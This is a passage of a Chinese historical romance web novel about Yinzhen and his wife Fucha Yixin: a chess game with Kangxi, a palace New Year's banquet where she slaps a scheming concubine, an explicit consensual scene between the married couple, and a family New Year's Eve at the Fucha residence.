仪欣一噎,箭在弦上,这般也没办法拒绝,总归又不会输银两。 这样想着,仪欣坦然坐在康熙对面,摆上棋盘之后,自然而然去拿黑子。 康熙跟别人下棋,向来都是拿黑子的,见仪欣动作,不计较去拿了白子。 胤禛站到仪欣身后,淡定自若。 仪欣先落子。 康熙随着落子。 刚下了一会儿,仪欣落子慢了下来,开始一点点思索。 康熙觉得意兴阑珊,落子也渐渐漫不经心,觉得自己实在有些可笑,怎么跟个小丫头还下棋。 他还有些闲心跟胤禛说话,“怎么旁人都借着除夕往来应酬,你偏偏在府中躲清闲。” 最近老三和太子老八老十的动作实在刺眼,借着除夕往来的由头,愈发明目张胆结党营私。 “儿子向来不喜欢这些,平时当差繁忙,皇阿玛封笔之后,儿子只想躲清闲。”胤禛淡淡开口,目光在棋盘上不错眼。 “嗯。”康熙得到满意的答案,隐晦抬眸看一眼胤禛,不耽误落子。 仪欣下棋很专心,她感觉到…万岁爷下棋不如王爷厉害,甚至某些棋子并不精明。 她模仿着胤禛的棋风,认认真真落子,想着若是他来落子会放在哪个位置。 胤禛戴着佛珠的手腕随意搭在仪欣肩膀上,眸色幽深看着她下棋。 等到康熙反应过来,仪欣已然占了上风,他眉头紧蹙,直起身子严阵以待,诧异看一眼仪欣。 仪欣越下越顺利,呼吸放轻,聚精会神看着棋局,也开始走一步算三步,紧张得不像话。 一会儿,仪欣落下关键一子,柔软温热带些汗珠的手,不自觉紧张攥住胤禛搭在她肩膀上的手。 康熙注意到她的动作,撂下手里攥着的三枚白子,笑叹一声:“小丫头棋艺不错,朕小瞧你了。” 乱拳打死老师傅。 仪欣欢喜到飘飘然,猫儿似的餍足眯着眼,“谢谢皇阿玛让着儿臣。” “王爷,我赢了,我竟然赢了。”仪欣忍不住跟胤禛分享。 胤禛克制捏了捏她的指腹,夸赞道,“很棒。” 康熙脑海中复盘一下棋局,他中间段下得太草率,前几步倒是有点意思,他眯起丹凤眼,指了指角落不起眼的一枚棋子,看向胤禛,“棋风像你,落子习惯也像。” 胤禛笑着开玩笑,“想来是阿玛不愿儿子输,才让着福晋吧。” 康熙跟个小姑娘还不至于输不起,笑着摆摆手,冷哼一声,“莫要哄朕。” 过了一会儿,各位阿哥们也携福晋陆陆续续也到了乾清宫,给康熙请安。 离开乾清宫。 仪欣最先寻找到姚虞的身影,跟胤禛打个招呼后,跟姚虞在一起叙话。 “四嫂身子可还好吗?” 姚虞笑着挽住仪欣,胤禩欲言又止,想离姚虞近一点,又觉得不合适,只默默远远跟在二人身后。 恰巧,胤禛也在不远不近跟着仪欣。 胤禛淡淡对胤禩点头示意,胤禩叹口气唤一句,“四哥。” 仪欣挽着姚虞往鹤宣殿走,除夕宫宴设在那里。 仪欣微微蹙眉,鼻尖嗅了嗅,察觉到姚虞身上有一股不浅的药味,尽管她的脂粉气很重,还是掩盖不住她的药味。 “姚虞姐姐近日在做什么?”仪欣轻声问。 “还是守在永寿宫伺候额娘罢了。”姚虞说。 仪欣松口气,看姚虞气色盈润,不似生病,想来药味也是在永寿宫沾惹的吧。 第77章除夕宫宴(2) 到了鹤宣殿,仪欣身边涌来一群王爷福晋。 “五姐姐。”仪欣狡黠挑眉轻唤。 “四嫂…八嫂…”十二福晋富察氏不赞同轻叹一声,凑近握住仪欣的手,“这个冬日四嫂气色真的很好。” 十二福晋富察氏是仪欣的堂姐。 仪欣见到十二福晋很高兴,不一会儿完颜氏笑着款款而来,行礼后静静站在仪欣身边听着诸位福晋叙话。 “四弟妹,许久不见了。”太子妃瓜尔佳氏一身杏黄色吉服,圆脸杏眼,一副极有福气的长相,她由丫鬟扶着款款上前。 见到太子妃,仪欣一群人抚髻行礼。 太子妃亲切笑着说:“自家妯娌,不必多礼。” 太子妃的目光滑过姚虞,又落在仪欣身上,笑容真切几分,温声询问她身子好不好,第一次参加除夕宫宴有什么不适。 自从富察氏入了雍亲王府,雍亲王和八贝勒竟是也联络起来。 如今太子和三爷掐得狠,自太子复立后,四爷愈发中立, 太子参宴前特意叮嘱她笼络雍亲王福晋。 雍亲王福晋是个妙人,老八福晋和她关系极好,十二福晋是她的亲堂姐,十三福晋隐隐以她为先,因着和老十表兄妹的关系,老十福晋博尔济吉特氏跟她亲近。 谁不知道富察马齐的幺女在富察氏和钮祜禄氏都极其吃香。 太子妃心中轻叹一声,笑意愈发真切。 仪欣大大方方回答。 她站在人群中,众星捧月,仪欣本就是极其明媚娇憨的长相,她坦然接受周围人夸赞艳羡的目光,坦坦荡荡露出善意骄矜的浅笑。 仪欣对内非常黏人爱撒娇,但是对外落落大方,为人处世得体,虽然年纪轻,有些稚嫩,但是任谁也挑不出错处。 申时三刻。 众人纷纷落座。 胤禛和仪欣位置很靠前,身旁便是太子和太子妃,后面恰巧是胤禩和姚虞。 康熙和太后到鹤宣殿,众人起身请安。 康熙威仪万千,举杯沉声说了几句场面话,除夕宫宴这才开始。 丝竹管弦之声悠然响起,舞女鱼贯而入。 “四弟,来,孤敬你一杯。”太子靠着椅背,转身对着胤禛提杯,颇为谦和开口,“这一年,孤真是倚仗你了。” 太子妃随着太子举杯。 “太子殿下客气了。”胤禛矜贵举杯,侧头看仪欣,只见仪欣眉眼弯弯随着他举杯,发髻上簪着的凤钗欣然轻晃。 他和她夫妻一体,这种感觉格外奇妙。 太子狂放不羁一饮而尽,冷冷看一眼老三,浑身一股慵懒狠厉之感。 老三苦笑两声,装作视而不见,反而与老八同饮。 让太子盯上,他也真是“有福”了。 酒过三巡。 宫宴上的吃食并没有多么出彩,冷得很快,仪欣胃口并不好,看着渐晚的天色,突然有些怅然,她有点想念阿玛和额娘,幼时府中除夕夜都是极其热闹的。 不是有点,是好想阿玛和额娘。 仪欣和姚虞出去透透气,身后跟着自己的贴身丫鬟。 “除夕宫宴颇为无趣,你第一年参加,尚且有些新鲜,若是时间久了就会发现,年年都是这些歌舞席面,没什么意思。”姚虞调侃,护甲随意蹭了蹭鬓发。 仪欣挽着姚虞,花盆底轻踏地面,温软吐出心中浊气,刚想问问姚虞守岁会做什么,便听到假山后尖细的女声。 “在这宫里,没个孩子怎么能行?” 仪欣顿住,尴尬笑着跟姚虞对视,打算转道回鹤宣殿。 “药方带来了吗?” 太监声音讨好又略带暧昧的声音传来,“哎呦,小主,这是奴才在宫外给您寻来的助孕方子,八福晋都在用这个方子。您的青云路啊,安稳得很。” 八福晋? 仪欣顿住,柳眉微蹙看向姚虞。 姚虞冷了神色,握住仪欣的手,目光看向地面,这是不打算走了,在这听听又何妨。 “哎呦,八福晋?那不行,她成亲这么多年也没个一儿半女,多晦气,你再给我找别的方子来。”女子声音娇纵嫌弃,将不屑药方撇到地上。 “哎呦我的主儿,您先将就喝两次,奴才还得回鹤宣殿伺候,若不是除夕宫宴,奴才哪有机会跟您碰面呢?” 太监轻哄着拾起药方,笑着塞到女子手里,哄着说,“奴才再给您寻更好用的。” “哼,本小主要那一举得男的方子,别什么晦气东西都往本小主这里递,你在御前不是很得力吗?” 德妃便是靠着生孩子上位的,良妃也是母凭子贵,她一个宫女搭上御前的人,才得了万岁爷的宠爱,何不抓住这个机会? … 仪欣听着尚且气得发抖,垂着眼担忧心疼看向姚虞。 姚虞反倒沉默不露声色,指尖在掌心留下深深的月牙,思索半晌还轻轻笑了笑。 “你在这里站着干什么?”老十四的声音突然响起。 他见富察仪欣出来,便也跟着出来看看,怎么一动不动在假山这里站着,多冷啊。 仪欣清冷浅笑,反手打落老十四凑近的手,“起开,上一边去!” 老十四被她袖间温软香气晃了神,就见仪欣踩着花盆底气势汹汹冲到假山后。 “仪欣,等等。”姚虞追上去。 “啊!你是谁?竟敢打我?!” 女子尖叫一声捂住脸,胸膛起伏,骄横看着那身象征尊贵身份的吉服,心里一沉,还是色厉内荏,“信不信本小主打入慎刑司!” 仪欣冷笑。 将她打入慎刑司? 她甩了甩手腕,咬着牙又甩了一巴掌,差点将自己头上的凤钗甩到地上,“打你就是打你,你管我是谁呢?” 与那女子接洽的乾清宫太监可是识得仪欣,呆滞跪地唤一声:“奴才给雍亲王福晋请安。” 再看仪欣身后,竟是八福晋和十四贝勒。 守在假山后的丫鬟呢? 完了,全完了。 * 人是老十四做主押到鹤宣殿的。 康熙胤禛胤禩同时得到消息。 康熙面色沉沉,禀告的人说的含糊,只说四福晋将新得宠的林答应打了。 他当然不悦,打狗尚且看主人,更别说是他的女人,老四福晋怎么回事?看起来柔柔弱弱的,怎么和马齐一样莽撞? “怎么回事?”康熙踏进偏殿便沉声呵斥一句。 林答应先发制人,哭哭啼啼开口:“皇上,您要嫔妾做主啊!” 第78章除夕宫宴(3) 这都什么跟什么? “万岁爷…四福晋她…”林答应娇弱膝行到康熙面前,哭哭啼啼哽咽说委屈。 “皇阿玛,儿臣喘不上气,您先让她出去可以吗?”胤禛跟在康熙身后,未进偏殿,面色已然惨白,虚弱扶着门框,冲着康熙惨淡笑了笑。 趁着仪欣焦急跑到他身边,胤禛声音含在喉咙里,只用她听得见的声音小声说:“打了就打了,没什么事,回府再算账。” 仪欣乖巧点点头,有恃无恐,此时恨不得冲上去再踹她两脚。 康熙见胤禛面露不适,看一眼地上跪着的林答应,冷淡说:“先带林答应出去。” “皇上!?”林答应错愕,若是不能先发制人就全完了。 “拉出去。”康熙挥了挥手。 再宠爱的女人,也比不上他的儿子重要,况且只是个答应。 偏殿清净了。 “究竟是怎么回事?”康熙沉声问。 姚虞情绪不太对劲,她有些不敢说话,若是此时开口是哭腔,实在难堪,胤禩握住她的手,把人挡在身后。 胤禛淡淡抬眼,笑了笑说:“不妨让老十四说吧。” “老十四,你来说!” 老十四大马金刀坐下,还自己给自己倒了一杯茶咕咚咕咚喝掉,大大咧咧一扬手,放声说:“皇阿玛,您真得谢谢四嫂。” “你那个小答应跟乾清宫的太监做对食了,在假山后私相授受,四嫂和八嫂撞上了,四嫂宅心仁厚,赏了她两巴掌。” 他没听到前面的话,但是他好歹也是宫里长起来的,小宫嫔依附御前太监的事见得多了,光看那扬面就知道怎么一针见血禀告皇阿玛。 仪欣一言难尽看向老十四,老十四讨赏般冲她挑眉,仿佛在说不客气哈。 胤禛唇角一点点落下,面不改色看着仪欣和老十四对视,佛珠轻轻捻了捻。 “嘭——”得一声,康熙气得眼前一黑,茶盏摔到老十四面前,“放肆!” 老十四认真点点头,混不吝重复一遍,“皇阿玛,真的!您别不信!” 偏殿内跪着的太监鬼哭狼嚎起来,他在御前当差,康熙记性极好,宁可错杀,绝不放过。 偏偏姚虞在老八身后向前一步,微微偏头,恶劣扯了扯唇,垂着眼说:“皇阿玛,真的。” 胤禛诚恳温和建议,“皇阿玛,为了嘉奖福晋和八弟妹,您不妨替她们的酥阁写个匾额或者楹联吧?” 康熙:…… 怎么发展到奖励这一步的? … 雍亲王府。 胤禛坐在软榻上,一言不发。 隔着镂花窗逃匿而来的光线掠过他优越的眉骨,紧抿的唇角,忽明忽暗落在他的蟒袍上,将胸膛前的金线银线照得波光粼粼。 仪欣梳洗过后,老老实实站在胤禛面前。 “富察仪欣,本王在宫中说什么了?”胤禛淡淡开口。 仪欣笑眯眯弯唇,脆声回答,“王爷说,打就打了,没什么大事!” 胤禛慢悠悠抬眼,嗤笑一声,“后半句。” 回府再算账。 仪欣后退一步,装傻充愣说:“啊?有后半句吗?后半句…不记得了。” 胤禛摘掉腕间佛珠,笑一下将她拎到床榻上,非常耐心的说:“那便做到仪欣想起来。” 床幔解落,胤禛有些烦躁扯掉蟒袍,随意扔到地上,桃花眼看着她泪眼朦胧模样,心里愈发暴露侵占的意图。 他占有欲强的时候就是想做。 她也替郭络罗氏出头,他不高兴。 况且,她已经答应他不再亲自动手,如今遇上郭络罗氏的事情,把他说的话都忘了。 还有老十四,视线在她身上好似挂了钩子,跟狗一样,到处搜罗她的身影。 他不高兴。 非常不高兴。 仪欣觉得他情绪不太对,胳膊缠住他的腰,在他耳边小声复述说,“王爷说回府再算账。” “仪欣想起来了,本王也想做,怎么办呢?”胤禛眸色漆黑,喉结轻滚,闭上眼深吸她的气息,偏头眯着眼慢慢吐出来。 仪欣无措看着胤禛,觉得他此刻犹如一头凶猛的狮子,暴戾恣睢的情绪在他体内横冲直撞。 “王爷…你不高兴吗?” “对,你会哄我吗?”胤禛不讳承认,手臂垫到她的腰后,慢慢缠紧她,轻唤一声,“仪欣…” 霎那间,他的动作一僵,感受到她的手放到了不可/言说的地方。 “会哄你的。” 仪欣有些笨拙,想将那处送进来,却总是不得章法,急得求助看向胤禛,羞恼呜咽一声,晃晃他的手臂。 胤禛低头慢慢笑出声来。 “不着急…本王教你。” 胤禛拿回主动权。 “啊…好满…”仪欣无意识轻声哼唧,手软绵绵抓住胤禛的上臂。 胤禛又抿唇笑,挺/腰故意问:“那小乖想怎么哄呢?” 仪欣语不成调,哽咽着摸了摸他的脸,指尖蹭过他的眉骨,然后软绵绵落下去,断断续续说,“你…别…不高兴…” 胤禛心里烦躁霎时落下去一些,低下头蹭了蹭她的鬓发,在她耳边轻声问:“还有呢?” 还有? 仪欣茫然望着他,琥珀色眸子含着泪。 她连他为什么不高兴都不知道。 哦,知道一点,他不让她亲自动手打人,怕她吃亏。 见她不理他,胤禛稍微用力。 “啊…”仪欣的腿缠上他的腰,茫然说,“王爷,我不知道…不知道怎么哄了…” 胤禛握住她的手,轻声问着:“小乖,想不想摸/一下我和你?” “嗯…想…” 仪欣绵软下来,精神醉醺醺的,她觉得今晚王爷喝得酒都通过他吐出的气灌到她的胃里。 她紧张得蜷缩手指,胤禛拍了拍她的手背,让她不要缩回去。 她太紧张。 他很难捱,彻头彻尾在惩罚自己小心眼,额角汗珠滴下,落到她的颈间,仪欣被烫得瑟缩一下。 半晌。 仪欣莫名其妙也来了情绪,仰着头咬在他的锁骨上,呜呜囔囔哭出声来,威胁说,“王爷,你得给我很多压岁钱。” 胤禛脊背舒缓,嗓音暗哑低沉,“都是你的。” 第79章富察府守岁(1) 仪欣就是有魅力而不自知,呜呜囔囔瘪嘴撒娇,勾胤禛的手指,委屈呢喃说,“明明不紧。” 她眼睛湿漉漉的,眼尾透着一抹极艳的的红晕,哼唧着闭上眼时,眼尾上挑滑落晶莹的小珍珠,白皙的肌肤晕染上醉人的粉红。 床笫之事,胤禛有些恶趣味,只因为她是实在是太好逗了,在她耳边说些不着边际的话,她听到了都会软乎乎回应,会情不自禁樱唇微张求吻。 他动/作很轻,服务意识还很不错,仪欣几乎不会有什么不适感,反而会觉得很奇怪。 “仪欣…仪欣…说点我想听的…快点乖乖…” “喜欢你…夫君…喜欢你…” “还有呢…?嗯?” “是舒服的…”仪欣茫然胡言乱语。 寰宇雪落千山,盈寸春潮拍岸。 好娇啊,乖乖。 胤禛闭了闭眼,什么情绪都渐渐平稳下来,本来想高冷些端着气恼,竟是身不由己把人搂在怀里,故作面无表情说:“你真好。” “王爷…要亲一会儿。”仪欣迫切哼唧撒娇,软绵绵的手臂挂在他的脖颈后,细细喘着气。 “嗯。” 胤禛闷笑低头抵着她亲吻,温热干燥的大手在她后颈一下下捏着安抚。 仪欣餍足娇软窝在床榻里,困倦眯着眼说,“王爷,我还有点想守岁。” 刚刚她在宫中情绪有点不好,主要想阿玛和额娘,还有哥哥们,富察氏枝繁叶茂又团结,除夕夜凑在一起用膳守岁,好像夜永远也过不完。 后面姚虞姐姐因子嗣艰难情绪低落,她便转而温声开导姚虞,想家的情绪减弱些许。 “还早,小乖睡半个时辰。” “王爷新年官运亨通。压岁钱…!”仪欣困得迷糊还没忘压岁钱的事,脑袋混沌说个吉祥话也是套用曾经祝福兄长的。 还能祝愿什么呢?毕竟,他什么都有,胤禛弯唇想。 胤禛忍不住笑出声来,“你摸摸枕头下面。” 仪欣惊喜喟叹一声,摸到特别厚的一个红封,美滋滋拢在脸侧,没来得及看多少银两就咕噜咕噜睡着了。 胤禛不想她春意朦胧的模样被旁人窥见,不假人手伺候她,蹲在床榻边给她涂抹药膏。 又处理剩下的事情。 … 仪欣懵懵然醒来,摸索着发现周围摇摇晃晃的,她娇憨又警惕想看清这是在哪里。 胤禛的声音在头顶响起,“别乱动,在马车上。” “啊?” 仪欣怔愣猛得撩开马车窗帘,雍亲王府正门前石狮子肃穆巍峨,红灯笼和楹联装点着辞旧迎新的温馨气息。 雍亲王府越来越远。 “你大哥会在富察府后门接咱们。”胤禛不咸不淡开口,丝毫不觉得这是什么稀奇事。 “啊!!!王爷!!!”仪欣欣喜喟叹,软乎乎猫猫拱他,“真的吗?真的吗? 胤禛轻哼一声,又温声询问,身体有没有不舒服。 仪欣当即坐起来,表示她如今力气大得可以扇死一头牛。 胤禛无奈叹气,细胳膊细腿她能扇死谁?偏偏还是个好武善斗的,若是今日宫里那什么答应顺手推搡她一把,冰天雪地里她还不得摔坏了。 仪欣精神极其兴奋,一路上热热闹闹跟他分享她幼时守岁做的事。 胤禛只温和一声声“嗯”着附和她,搂紧她坐在自己的腿上。 其实,她早在前阵子下棋时,就零零碎碎跟他分享除夕趣事。 他没有正常的家庭生活,往年除夕根本没有守岁这回事,除夕去富察府守岁,他私下里在计划着,本想宫宴结束后直接去富察府。 变故就出在,她行侠仗义在宫中打了人。 他确实生气。 没人比他更了解自己。 若是不压下那股郁气,今夜她在富察府有亲人在侧,肯定会略微忽视他,他受不了,也会冷脸露了端倪。 这才先回了雍亲王府。 傅文长身玉立站在后门处,青色云纹常服上拢着一层薄薄的霜,他胳膊上搭着一件淡粉色兔毛领斗篷,轻轻呼出浓浓的雾气。 他得到消息便等在这里,没有告诉任何人。 雍亲王早早送来一马车的礼品,却久久没有见到仪欣。 心越来越沉,其实,他尚且觉得是在做梦,又觉得等久一点也无妨。 雍亲王送妹妹回来过除夕是…赏赐,不来更是规矩。 刚成亲,雍亲王是什么身份,凭什么将嫡福晋送来娘家过除夕?嫁给平民百姓又能保证回娘家过除夕吗? 低嫁赘婿有些都做不到这般。 也不知道莫名其妙塞进来的消息准不准? 傅文闭了闭眼,一会替雍亲王开脱,一会又紧张期许。 “大哥!” 未见人,声先至。 傅文猛得睁眼,向马车来的方向走去,看见仪欣自马车里探出来的脑袋,他心跳慢慢才落到实处。 等到马车停下,傅文温和轻声笑着打招呼,故作熟稔,似乎习以为常那般,“回来了啊。” 仪欣弯着眼睛,下了马车后,温言软语小步迎到傅文身边,笑眯眯骄矜扬了扬下巴:“大哥,除夕快乐!见到我,你高兴吗?” “我高兴呀。”傅文温柔抿唇看着她穿得暖和和的。 给她带的暖手炉有些凉了,傅文转手递给身后的小厮,将胳膊上搭着的粉红色斗篷有分寸的递给雍亲王。 胤禛和傅文对视,傅文眼里隐晦传递出感激,胤禛对着他笑了笑,她高兴就好,并不是什么了不起的事。 … 富察府正院庭间匆匆跑过一个人影,边跑边大喊,“格格回来了!格格回来了!” 花厅里本是熙熙攘攘交谈声,富察氏除夕家宴会持续到子时,如今算是刚刚过了饭前茶点。 此时,不约而同一静。 马齐心里难受好几天了,阖家团圆的日子,只有他闺女不在,难受程度跟仪欣出嫁不分伯仲。 钮祜禄氏心里猜到什么,还是温婉笑着说:“琅嬅不是在这里吗?冒冒失失的。” 富察府的管家进门差点绊倒,笑呵呵喊着,“格格回来了!” 看着众人错愕难以置信的目光,他反应过来,笑着扇了扇自己的嘴,笑着嗔自己,“老奴这个嘴呦!是福晋!福晋和王爷回来了!” 马齐先反应过来,拔腿不顾形象跑出去迎,一群男儿都起身往外走。 第80章富察府守岁(2) 钮祜禄氏攥紧身侧丫鬟的手,眼眶酸酸的,还是温婉笑着对着妯娌们点头,高兴得不知说什么好,笑着说,“哎呦,又得添两双筷子了。” “添,添多少双都是高兴事!” “本想着要初二才能见到福晋呢。” “王爷竟也亲自到了?” “……” 花厅人人起身在檐下站着相迎, 富察琅嬅有些天真好奇往外探头,也想起身跟着跑出正院迎接九姐姐,却被额娘按住手腕,面露不悦蹙着眉提醒。 她读懂了——要端庄。 她好像听见了额娘说,出了门的女儿被休弃才会回娘家过年。 琅嬅反而抿唇拽了拽额娘的手。 仪欣穿着红色旗装,未施粉黛眉眼弯弯,在月光下羽睫分明,眼睑唇瓣挂着粉色,气色盈润如玉,透着骄矜明媚的光。 乌泱泱院门处迎出很多男儿,对着仪欣和胤禛拱手行礼。 马齐跺了跺脚,高兴得迎上前,猛猛拍了拍傅文的肩膀,呵斥一句,“怎么不告诉阿玛?” “我都是刚知道的。”仪欣笑着撒娇说,“阿玛,开宴了吗,我在宫中没吃饱。” “刚开宴,席面上都是你爱吃的!”马齐在仪欣身后笑得合不拢嘴,“等一会儿阿玛给你拿压岁钱。” “好!” 仪欣走在前面,众星捧月的。 富察府宴会花厅很大,很敞亮,左侧右侧以镂花屏风和摆满珍贵瓷器的梨花架隔开,左侧是男人的席面,右侧坐满女子。 胤禛不得不和仪欣分开,仪欣坐在钮祜禄身边。 胤禛被马齐拉着坐到主位,马齐自顾自倒一杯酒,喟叹一句,千言万语也没说出来,对着胤禛一饮而尽。 胤禛矜贵沉稳笑了笑,也给自己斟满酒,没有任何架子,笑着说:“小婿敬岳父大人,叨扰了。” 雍亲王没有任何架子,反而处处尊敬,下首男人们诧异对视,都觉得高兴。 “不叨扰!欸!那就年年来叨扰!”马齐高兴坏了,又干了一杯。 马齐敬完酒,李荣保和马武又提杯敬胤禛,胤禛含笑饮下。 富察氏的男儿可真多。 到最后,六七岁的几个小男孩都不怯场,斟满果酒起身给胤禛敬酒,嘴里唤着,“姐夫,姐夫。” 胤禛来者不拒,含笑挑眉主动提杯,抬腕挡一下示意说,“果酒亦会醉人,你们沾沾唇即可。” 胤禛说完,一饮而尽。 “多谢姐夫。” 两壶桃花醉饮尽,胤禛面不改色,他不失态也不沉默死板,反而听着他们说话,很感兴趣似的。 他的耳边偶尔能捕捉到仪欣的温言软语,听到她说想吃糖耳朵和玫瑰酥糖,钮祜禄氏当即起身说给她去做,热热乎乎的吃。 “王爷,来,老夫再敬你一杯。”马齐红光满面,举杯示意。 苏培盛欲言又止,还是给王爷倒上酒。 这可不能这么喝酒,怎么感觉富察府的大人们憋着劲要跟王爷练一练似的,打着圈轮番敬酒。 胤禛举杯,一饮而尽,温和笑着示意。 傅辙提了一句,“这样喝不得劲,王爷,咱换酒碗吧。” 胤禛抬眼一顿,坦然道,“可以。” 换了酒碗,傅辙先干了一碗酒,已然有些醉了,笑着说,“小九回来,我是真高兴。” 傅文看向傅辙,严肃提醒一句,“叫福晋。” 傅辙老实点头,要斟满再跟王爷喝,傅文拦下他,温和笑着起身,“王爷,微臣敬您,微臣干了,您随意。” 胤禛端起面前倒满的一碗清酒, 看着傅文仰头一饮而尽,抬腕示意一下,面不改色都也饮尽。 “王爷好酒量!”马武赞道,“来,微臣敬您。” 这酒喝得急,胤禛在宫宴上已经喝过一场,此时第二场心里也是掐着分寸。 富察氏阳盛阴衰,一群叔伯兄弟好不容易逮住胤禛,多少都有点要给个下马威,灌酒的意思,趁着热闹,又是名正言顺,都本着调教女婿的心思,恭敬敬酒都憋着坏。 胤禛全然接受,反而还主动敬了马齐马武和李荣保几杯。 到后面,别说苏培盛,就连马齐都震惊,人人摸不准雍亲王究竟喝了多少。 “来,岳父大人。”胤禛在上首举杯,佛珠在他腕间垂着,微微轻晃。 马齐也醉了,摆摆手,“王爷,点到为止吧。” 本是想着雍亲王若是喝醉,还能带着仪欣在富察府住一晚,谁知再喝下去,非得出事不成。 罢了,能回来吃顿饭便极好了,雍亲王行事真挑不出来任何毛病。 傅文起身,一只手撑着桌子,眯着狐狸眼笑着说:“微臣代阿玛饮下此杯。” 胤禛不置可否笑笑,仰头一饮而尽。 这下没人敬酒了,都张罗着吃菜,东一句西一句聊天。 胤禛起身出去更衣,走到一个不碍事的角落,一只手撑在墙上,低着头揉了揉喉结,吐出喝进去的酒。 都是故意的。 他格外理解,吾妻年少,她的阿玛兄长灌他点酒而已,他就算再喝一轮也是应该的。 “王爷还好吗?”傅文的声音在身后响起。 “无碍。”胤禛接过苏培盛递来的茶漱口。 他没有喝多,头脑很是清醒,在富察府,他不会允许自己喝多失态。 催吐不过是以防过会儿再喝,没吃几口菜,他胃里有些不舒服,得赶紧将酒吐出去。 胤禛和傅文在庭廊下走着,傅文看着胤禛沉稳矜贵的模样,其实,这近一年来,胤禛如何对待仪欣,富察氏上下说不出一个不好来。 今晚更是。 傅文心里道,他确实没有别的可以挑的。 “王爷,听微臣说说福晋小时候的事吧。” “好。”胤禛想听。 她跟他分享的都是好的事,他想知道别人眼里她是怎么长大的。 宴会花厅温馨的光亮溢到庭院,胤禛和傅文找了半明半暗的亭子坐下来。 “叫小九就好。”胤禛淡淡开口,给傅文递一杯温茶。 傅文笑一下,回忆说:“她身体就是很不好,之前,家里都怕她养不大,故而,真的,能过一天算一天,瓷娃娃似的捧着。” “在微臣的记忆里,小九没穿过夏日衣衫,常年裹着披风,冬日穿大氅。” 第81章富察府守岁(3) “小九小时候手头上紧巴巴的,可喜欢银两。那时候她喜欢吃糖人,吃一点就咳嗽,傅辙便糊弄她说,糖人要十八两银子一个,她每个月攒点银子都给傅辙,傅辙给她买一个糖人。” “后来,她第一次出府,到了糖人铺子,目瞪口呆发现糖人才五文钱一个,样式还随便选。” 胤禛闷闷笑,饮茶掩住唇边笑意,怎么从小就受欺负呢? 傅文说着也有些想笑,寻常人被骗了好几年,轻则耍大脾气,重则决裂报复回来,就她性子最好,软绵绵就翻篇了。 傅文说了很多事。 胤禛听得心软软,时不时附和他两句,只想让他能多说一点。 不一会儿,傅文有些沉默。 傅文看着有些孤寒的月亮,想起什么突然唇边笑意淡了,幽幽开口,“王爷,有件事只有微臣知道,今晚特别想说给王爷听听。” 胤禛突然心有些发紧,吐出一口酒气,轻轻“嗯”一声。 “小九五岁半的那个冬日,祖母去世了,小九当时高烧不退,二十多天,换了一沓药方,在宫中请来几名太医,私下里都暗示府上准备后事。” 傅文狼狈抹一把眼泪,笑了笑,“那天晚上,她让所有人都出去,唯独说想和大哥说两句话。王爷能想象她一个五岁的孩子能说什么吗?” “她说,她准备好了,她不怕死。” 傅文猛得转头和胤禛对视,胸膛起伏静静喘气,和仪欣相似的狐狸眼赤裸裸看着胤禛。 ——微臣可以信任王爷吗? 胤禛情绪鲜少外露,眸色漆黑,不避讳和他对视,拍了拍傅文的肩膀,“你先回,本王在亭中坐一会儿。” 傅文起身,离开。 … 胤禛再回宴会花厅时,仪欣正坐在他的位置上,跟富察马齐等人分享她在宫中打了人的壮举。 马齐一顿捧着,夸她力气大,身手敏捷。 还有人夸她行侠仗义,是个威风凛凛的女侠客。 胤禛闭了闭眼,在门衔处顿住,冷着脸淡淡开口:“马齐大人…” 能这么不分青红皂白宠着吗? 宴会花厅安静下来。 马齐不悦抿唇,小九在宫中该不会受气了吧?他闺女自幼体弱,该不会打了人没人护着吧? 仪欣欢欢喜喜起身,走到胤禛身边,隐晦嗅了嗅他的衣摆,嘟囔说,“王爷喝了好多酒。” 除了仪欣,宴会花厅中富察氏的男人都察觉到雍亲王略微的怒气,毕竟王爷席间都是唤岳父大人的。 胤禛调整一下情绪,温柔轻声解释:“只喝了几口。” “跟我到偏殿来一下。” 胤禛轻轻拽了拽仪欣的衣袖,仪欣乖巧点点头,两个人牵着手离开。 偏殿里。 胤禛坐着将仪欣抱在怀里,先温声问她有没有吃到糖耳朵和玫瑰酥糖。 仪欣笑眯眯餍足说,吃了。 你一言我一语,聊了几句,胤禛这才转到正题,“仪欣也觉得自己在宫里亲自动手打人威风凛凛吗?” 仪欣刚要骄矜得意点头,又想起来胤禛说的话,轻声问:“王爷就是因为这件事不高兴吗?” “算是吧。你派人打了谁,本王都替你兜着,但是,出门在外不能亲自动手,可以吗?”胤禛说。 “可以!”仪欣欣然答应,晃悠着腿,偏头亲亲他的侧脸,狡黠盘算着,“那我下次就派人把胤禵揍一顿。” 胤禛轻咳一声,搂紧她,低头闷闷笑。 这下好了,完全不生气了。 仪欣和胤禛回到花厅,酒席已经撤了,丫鬟小厮伺候着茶水,富察氏的男男女女坐在花厅中叙话,辞旧迎新守岁。 胤禛撩袍坐到上首,仪欣坐在胤禛身边,专心开始收压岁钱。 马齐也逾矩得给胤禛一个红封,胤禛道谢后递给仪欣保管。 钮祜禄氏温婉笑着试探一句,“王爷,冬日寒气重,您和福晋太晚回王府难免不便。” 有些话王爷可以说,她不可以。 她不敢奢求除夕夜女儿留在家中,但是,若是雍亲王愿意自己回府呢? 胤禛笑笑,“今夜本王和福晋留在府中一晚,不知方不方便?” 众人诧异。 这…这不是赘婿吗? 没人敢应声。 还是仪欣数着银票笑盈盈连连点头,“方便方便,住我的院子。” 马齐本来有些不悦,现在被胤禛一句话哄好了,也呵呵笑着说:“方便方便!小九的院落随时可以住人,特暖和。” 万岁爷要怪罪,那也是明日的事了。 他留女婿在府中住一晚,又不过分。 女婿自愿住在富察府,真好,真不错,还有谁比他的女婿更好? 胤禛垂眸看着仪欣,轻声说,“多谢岳父大人。” 富察氏一族人丁兴旺,其乐融融在一起守岁,有的下棋品茗,有的在庭间放烟花。 仪欣非常欢喜,一只手牵着胤禛的手,同时跟家中人叙话,她明媚娇憨,又喜欢说话分享新鲜事。 胤禛牵着她的手专心听她讲话,偶尔替她斟一盏温水。 他在富察府过除夕没有什么归属感,也不觉得有家的感觉,更别提什么被感动治愈。 在哪里过年,热闹与否,世俗的眼光,对他来说,没什么差别。 他坐在这里,只是因为仪欣高兴。 叙话时偶尔会提到仪欣小时候的事情,胤禛如数家珍在心里过一遍,然后又想起傅文说的话。 ——她说,她准备好了,她不怕死。 子时刚过,仪欣困得都睁不开眼了。 花厅众人各自回到自己的院子。 傅文欲言又止,看向外面漆黑的夜色,还是提醒说:“王爷,微臣带您和福晋回嫖姚院。” 胤禛起身,低头问仪欣,“还能自己走吗?” 仪欣自然而然抬了抬胳膊,娇声要抱着他回去。 